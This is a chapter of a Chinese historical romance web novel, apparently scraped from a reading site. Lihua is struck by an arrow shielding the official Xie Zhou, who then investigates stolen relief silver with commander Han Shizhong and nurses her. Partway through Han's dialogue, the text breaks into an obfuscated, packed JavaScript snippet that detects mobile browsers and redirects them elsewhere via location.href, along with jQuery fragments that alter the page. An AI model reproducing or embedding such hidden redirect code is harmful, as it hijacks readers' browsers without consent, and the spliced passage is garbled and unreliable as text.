士兵得令便要动手,谢舟眼神凌厉一扫道:“谁敢?”
面对大批严阵武装的兵马面不改色,此人心智可见一斑,非是曾在军营历练过的人不能有,士兵竟被震慑不由得停下,回头等待韩总兵指示。
谢舟道:“韩世忠?没记错的话,上次见面时,你还是太子府的圉官。”圉官是文雅的称呼,说直白点就是养马的,奴籍。
多年前太子设宴,一匹马受惊冲向宴席,眼见一家小姐要成马下亡魂,韩世忠一跃而上站在马背上勒住疯马,而后重重一踢,千斤重的马轰然倒地再难起身。
众人大赞其神勇,说太子府能人辈出,此人必是某位骁勇将军。韩世忠下跪告罪,说自己没看好马厩,让马受惊冲撞了贵人,众人才知他不过是个养马的。
小姐的父亲道:“没用的东西,连一匹马都看不住。”
众人:“下人就是下人。”
“匹夫之勇。”
“空有蛮力,没有脑子,分内之事都做不好。”
“应当重罚,斩去双手为小姐压惊。”
一人圆场:“何必为个下贱的人置气,小姐无事便好。”
太子宁澈安抚小姐父亲几句,为小姐送上珍稀的紫珊瑚手串,把韩世忠赶出府去,如此便化解小小插曲,众人都道太子仁善。
谢舟也在席上,对身形瘦弱却力大无比的韩世忠印象十分深刻,从地位低贱的马官成为一方总兵,在他意料之外,却也在情理之中。
总兵官阶不高,但掌管一城兵马,当地主官都要敬其三分。韩世忠似乎没认出谢舟,眼皮一撩道:“能说出我韩世忠的名字,也算见过几分世面,可惜非要制造毒人,为了百姓安危,束手就擒吧。”
士兵得到肯定命令,这次毫不犹豫举刀砍来。
梨花心道:我们没抵抗,你倒是擒啊,上来就杀人是怎么回事。他们无处可躲,只能退向毒兵身后。
与毒兵纠缠的一百五十号见状挡在他们前面,其他毒兵也似得了命令,把冲在最前的几个士兵直接撕碎。毒兵的战斗力不是盖的,只几个来回就反攻回去。
韩世忠早已勒马后退,弓箭手放箭击退一波又一波毒兵,尽管这些毒兵先前已经激战许久、损伤过半,但战斗力仍是强得惊人,身上挂着箭,刺猬一样往前卷。
空中又传来埙的呜呜声,毒兵恍惚片刻继续向前,看来一百五十号的血液优先于声音号令,有他们抵挡,梨花等人趁乱往后躲。
梨花揶揄道:“谢大人,你的名号也不怎么管用嘛。”谢舟不满地瞥她一眼,她立刻补充:“管用管用。”虽然仅限京城。谢舟脸色稍霁。
小川忽然道:“大敌当前,谢大人怎的一副云淡风轻的模样?莫非有后手。”李守仁瞧他一眼,他悻悻转头闭嘴。
梨花觉得小川的话不无道理,谢舟此人走一步想十步,进军营之前肯定已经想好出路,她不动声色观察谢舟的表情。
谢舟正琢磨韩世忠突然出现的目的。千阴山征兵并不隐秘,他怎会一无所知,但这么久却没管过,如今毒兵一出现,他也立刻出现,实在太过巧合。
谢舟探究的眼神透过厮杀的士兵传递过去,被黑暗全部吞噬,但韩世忠仿佛接收到信号,抄起手旁的箭对准谢舟射去。
飞羽瞬间而至,谢舟没事,但他身后之人痛苦嘤咛,梨花扑过去替谢舟挡箭,那箭力道之大带着她越过谢舟直接钉在树干上。
梨花不可置信低头,疼痛由胸腔传遍四肢百骸,疼得她全身麻木,感觉血液快速流走,身体异常寒冷。发觉到有人触碰她,她微微抬头,对上谢舟茫然无措的表情。
她嘴唇翕张,疼痛让她半天才挤出几个字:“这、算、救命、之恩吗?一命抵、一命,好不好?对不起。”说完她便昏过去。
再醒来时,已经是三天后。
不过初秋,房间却里点了三个火盆,门窗都用布封好,生怕透进一点风。梨花缓缓睁开眼,就见李守仁瞪着两个通红的大眼珠子看她,看得她莫名其妙。然后就听见啜泣声,李守仁一个中年男人竟趴在她床边哭起来。
她刚想起来问他怎么回事,稍一动身立刻感到一股剧烈的疼痛,疼得她龇牙咧嘴倒吸气,混乱的记忆潮水一样涌来。
她好像中箭了,看到谢舟的表情从茫然变成害怕,耳边是老爹和小川拼命喊她的声音,这些声音越来越远,眼前一片模糊,她就人事不知了,看现在情况,她没死。
她道:“老爹,大男人哭成这样不好看。”
李守仁抹抹眼泪道:“没想到你爱谢舟爱到自己的命都不要了,老爹这辈子就你这么一个亲人,你怎么舍得让老爹白发人送黑发人。”说着又哭起来。
梨花一脸懵,她什么时候爱谢舟爱到命都不要了?
她那时想,如果谢舟有后手,他们最终肯定会安然无恙,看到那支箭,她想着不如卖谢舟一个人情,换他放过老爹,谁知道那支箭的威力那么大,差点要了她的小命。
她道:“我死前、啊呸,晕过去前和谢舟说的话,他答应了吗?”
李守仁边抽泣边看她,疑惑道:“答应什么?”
“就是我中箭时和谢舟说了一句话,他什么反应?”梨花急切想知道这个答案,这可关乎老爹的性命,不然她这一箭就白受了。
“当时一片混乱,我被谢舟挡在身后,你的声音太小,我听不见啊,你说了什么?”
“啊,没有,我记岔了。”梨花糊弄一句,心里打鼓:那谢舟听见了吗?他要是没听见,现在再说挟恩图报的意味是不是太明显了,虽然她确实是这样打算的。
————
谢舟此时正和韩世忠在厅堂里,一坐一站。此处是锦衣卫在辽东省会辽阳城的卫所,谢舟的地盘。
梨花中箭后,谢舟让一百五十号擒住韩世忠,他就算力气再大也挡不住毒化的人。擒贼先擒王,有了韩世忠做人质,其他士兵不敢妄动,岂料韩世忠道:“保卫百姓,决不能放过一个毒人!”
士兵以军令为先,见他不顾自己安危,士气大振,弓箭手立刻换上火箭头,不顾毁林烧山风险,要把谢舟他们以及毒兵全部歼灭。
就在即将万箭齐发的时刻,一个人急速奔来,口中大喊:“圣旨到!”士兵被迫停手,谢舟示意一百五十号也停手,韩世忠眼睛一眯,反手抹了一百五十号的脖子。
来人鬓发凌乱,举着圣旨来到韩世忠面前,正是风尘仆仆赶来的清溪。谢舟、韩世忠及所有士兵跪下接旨,清溪道:“这是密旨,我就不读了,将军自己看吧。”
韩世忠接过圣旨,上面写着让谢舟秘密调查辽东赈灾银失窃案。他在太子府时曾见过圣旨,青黄绢布,通体织锦云纹,前端青色部分绣“奉天诰命”四个字,这是真圣旨无疑。
韩世忠微微抬头,目光扫过等待指令的众士兵,随即抱拳单膝跪在谢舟面前告罪:“末将不识圣使,冲突了谢大人,请大人降罪。”
谢舟未瞧他一眼,抱着梨花冷声道:“备马车。”
此后过了三天,谢舟才着人请韩世忠过来。
韩世忠道:“那位姑娘要是醒不过来,末将愿给她填命。”他语气愧疚之意满满,说着竟跪到谢舟面前。
谢舟扶起韩世忠云淡风轻道:“一个普通女子而已,怎配得上韩总兵的命,能为我而死是她的福分,活着重赏,死了——就厚葬吧。”他眸光闪了闪,拳头不自觉握紧。
韩世忠跪在地上不肯起身,继续道:“是下官眼瞎,有眼不识泰山,竟然对您放箭,这才连累这位姑娘,您不罚我,我实在无颜继续做这个总兵。”
谢舟笑道:“韩总兵说笑,若非你及时出现,我就要被那些毒兵撕碎了。你为保护百姓和我剿灭毒兵,我已经上疏向为你请功。”
韩世忠皮笑肉不笑,连道几声不敢,这才站起来。
谢舟道:“赈灾银失窃一事可有线索?”
韩世忠道:“抓到人了,成华县的县令冯玉春,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584926|176306||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他伙同黑风山的山匪盗走赈灾银。”
征兵时,成华县的人说冯玉春去辽阳城讨要赈灾银,怎么就变成盗走赈灾银了,而且冯玉春在百姓中官声很好,此事大有蹊跷,谢舟问:“主办此事的官员是谁?”
韩世忠道:“辽阳城的知府左良源。”
“冯玉春现下何在?”
“辽阳刑部大牢。”
正说着,清溪突然出现附耳说话,谢舟道:“送客。”匆匆忙忙转去后院,清溪说梨花醒了。走到回廊,距梨花房间几步之远,他突然踌躇,恰好李守仁推门出来。
李守仁带好门走到廊下道:“等她好了,我会找个理由离开,然后自行了断。小花对你是真心的,我相信你看得出,她过去吃了太多苦,很难对人托付真心,求你不要辜负她。”他弯了腰。
谢舟躲开他的一拜,咽了咽口水沉声道:“我父亲一生清正,保家卫国抵挡贼寇,最后却死于叛国之名,你咬死不肯透露背后之人,良心可安?死太容易了,我要你活着受良心谴责,你欠的债我会一一向梨花讨回来。”
谢舟擦身而过,李守仁回望他轻手轻脚推门的背影,嘴巴张了张,摇摇头离去。
房间内,梨花听出谢舟的动静立刻假寐,她不知道怎么向谢舟开口求情,不如先看看他的反应再做打算。
谢舟先拿火钩轮流挑了挑三盆炭火,本就烧得通红的炭火苗往半空蹿,然后来到床边,贴心地把梨花露在外面的胳膊腿全塞到被子下,再揶好被角,这才在床边小凳上坐下。
本就快热死的梨花头上直冒汗,心中狂喊:“大人,虽然我救了你,但这关怀也过分热切了,受不住了呀。”
谢舟咦了一声道:“怎么在被中扭来扭去,冷得打哆嗦了?再加一床被子吧。”
“不用!”
梨花垂死病中惊坐起,立即阻止他可怕的行为,虽然没坐起,但说话的速度远超睁眼的速度,等她睁眼才发现谢舟正歪头端详她,一副看你能装多久的表情。
但装这件事,讲究就是坚持到底,天塌下来有脸皮撑着。她立刻眨几下眼睛,表现出极为欣喜的样子道:“太好了大人,你还活着,不枉费我受这一遭罪。”
“他们说你醒了,我看还是很虚弱,来,吃药。”谢舟端起药碗,竟然要亲自喂她。
那药闻着就苦,乌漆嘛黑看起来像夺命毒汁,梨花往后缩,从内到外全身写满拒绝两个字,奈何谢舟视若无睹,她只得道:“烫,我一会儿自己喝。”
谢舟舀一勺放到嘴边吹吹再送给她,笑眼弯弯道:“这样不烫了,张嘴。”这做派,他仿佛真得很感激她的救命之恩,梨花不得不苦着脸咽下黑药汁。
一边喝,她一边打量谢舟,如果不是故意捉弄她,这样长得好、心眼好的人,绝对是贤夫良父。哎呀,在想什么,她摇摇头把奇怪的想法赶出脑海。
谢舟问:“怎么了?伤口疼了吗?”他耐心询问,关心不似作假,
梨花觉得这是向他讨人情的好时机,试探着问:“大人,我中箭时迷迷糊糊好像说了什么话,你可听见?”
救命之恩,一命抵一命,他听见了,音量虽小却震耳欲聋。
她被钉在树上那一刻,他只觉万籁俱寂,只剩脑中尖锐的轰鸣,他没想到她会为自己挡箭。血迅速洇满她全身,他想为她拔箭,拔箭他以前在军营做得多了,非常熟练,可他发现自己在手抖。
他轻拍梨花的脸颊,让她不要睡过去,她抬头要说话,挣扎半天吐出那么几个字,每个字都震得他心脏疼。她觉得他有后手,所以冒险挡箭,只是为了让他放过李守仁,不是为了他。
他很生气,不是气她算计他,而是气她不把自己的命当回事,更气他自己,因为那句“我没死你很失望吧”才让她升起这种念头,濒死也要跟他说一句对不起。
梨花小心翼翼观察谢舟脸色,谢舟将勺子在碗边刮了刮,看她把最后一口药咽下去才道:
“没听见。”